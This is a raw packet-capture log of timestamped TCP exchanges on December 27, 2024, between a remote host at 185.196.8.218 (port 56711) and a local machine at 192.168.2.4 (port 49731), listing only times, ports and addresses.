Dec 27, 2024 09:09:09.417151928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.464688063 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.558881998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.558933973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.558975935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.559303045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.559421062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.559475899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.560509920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.560600042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.560647011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.561640024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.561778069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.561863899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.562815905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.562925100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.562980890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.563940048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.564054966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.564093113 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.565166950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.565238953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.565283060 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.566246033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.566313982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.566355944 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.567415953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.567436934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.567481041 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.568561077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.568679094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.568722963 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.569755077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.569825888 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.569866896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.570878983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.570971966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.571012020 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.572021008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.572129011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.572201014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.573180914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.573218107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.573257923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.574347973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.574376106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.574424028 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.575486898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.575587988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.575633049 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.576642036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.576771021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.576822042 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.577804089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.577953100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.577997923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.579041004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.579219103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.579262972 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.580138922 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.580256939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.580300093 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.581284046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.581378937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.581419945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.582457066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.582535028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.582575083 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.583601952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.583714962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.583756924 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.584732056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.584850073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.584887981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.585928917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.586009979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.586050034 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.587053061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.587165117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.587203026 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.588234901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.588327885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.588372946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.589395046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.589498043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.589540005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.590610027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.590645075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.590686083 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.591710091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.591790915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.591834068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.592873096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.592911005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.592952013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.594001055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.594136000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.594177961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.595185041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.595225096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.595282078 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.596386909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.596434116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.596482992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.597498894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.597582102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.597630978 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.598642111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.598660946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.598700047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.599769115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.599875927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.599916935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.600919962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.601056099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.601106882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.602061033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.602183104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.602227926 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.603363991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.603408098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.603449106 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.604490995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.604655981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.604728937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.605572939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.605722904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.605766058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.606720924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.606786013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.606831074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.607918024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.607938051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.607979059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.609015942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.609174967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.609219074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.610151052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.610280037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.610323906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.611377954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.611437082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.611474991 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.612535000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.612548113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.612593889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.613647938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.613781929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.613831043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.614806890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.614931107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.614979029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.615978003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.616133928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.616194010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.617130041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.617202044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.617248058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.618247986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.618372917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.618422031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.619400978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.666951895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.760303974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.760427952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.760474920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.760761976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.760844946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.760885000 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.761807919 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.761944056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.761989117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.762993097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.763108969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.763164043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.764177084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.764283895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.764331102 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.765326023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.765407085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.765450001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.766438961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.766567945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.766612053 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.767591953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.767728090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.767777920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.768738031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.768868923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.768913031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.769906998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.770064116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.770103931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.771054029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.771250010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.771292925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.772273064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.772346973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.772389889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.773381948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.773514032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.773557901 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.774497032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.774595022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.774631023 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.775665045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.775815010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.775871992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.776928902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.777020931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.777062893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.778032064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.778125048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.778167009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.779131889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.779217958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.779266119 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.780358076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.780484915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.780538082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.781446934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.781563997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.781614065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.782586098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.782735109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.782779932 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.783757925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.783854008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.783891916 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.784917116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.784986019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.785028934 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.786129951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.786145926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.786204100 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.787272930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.787396908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.787441015 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.788357019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.788480997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.788531065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.789550066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.789599895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.789640903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.790704966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.790807962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.790848970 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.791841984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.791995049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.792042971 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.792977095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.793097973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.793139935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.794172049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.794306040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.794364929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.795308113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.795423985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.795486927 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.796477079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.796596050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.796648979 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.797637939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.797717094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.797765017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.798788071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.798876047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.798923016 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.799962997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.800044060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.800088882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.801112890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.801240921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.801297903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.802257061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.802293062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.802341938 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.803431988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.803538084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.803590059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.804563999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.804670095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.804714918 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.805879116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.805943012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.805998087 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.806932926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.807069063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.807117939 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.808041096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.808188915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.808233023 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.809181929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.809377909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.809421062 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.810384035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.810493946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.810540915 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.811547995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.811734915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.811790943 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.812649965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.812768936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.812838078 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.813807011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.813913107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.813955069 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.815009117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.815104961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.815148115 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.816131115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.816248894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.816293955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.817271948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.817327976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.817365885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.818490982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.818546057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.818589926 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.819588900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.819663048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.819725037 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.820735931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.869528055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.961383104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.961462975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.961528063 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.961874962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.962018013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.962131023 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.963031054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.963139057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.963212967 CET	49731	56711	192.168.2.4	185.196.8.218
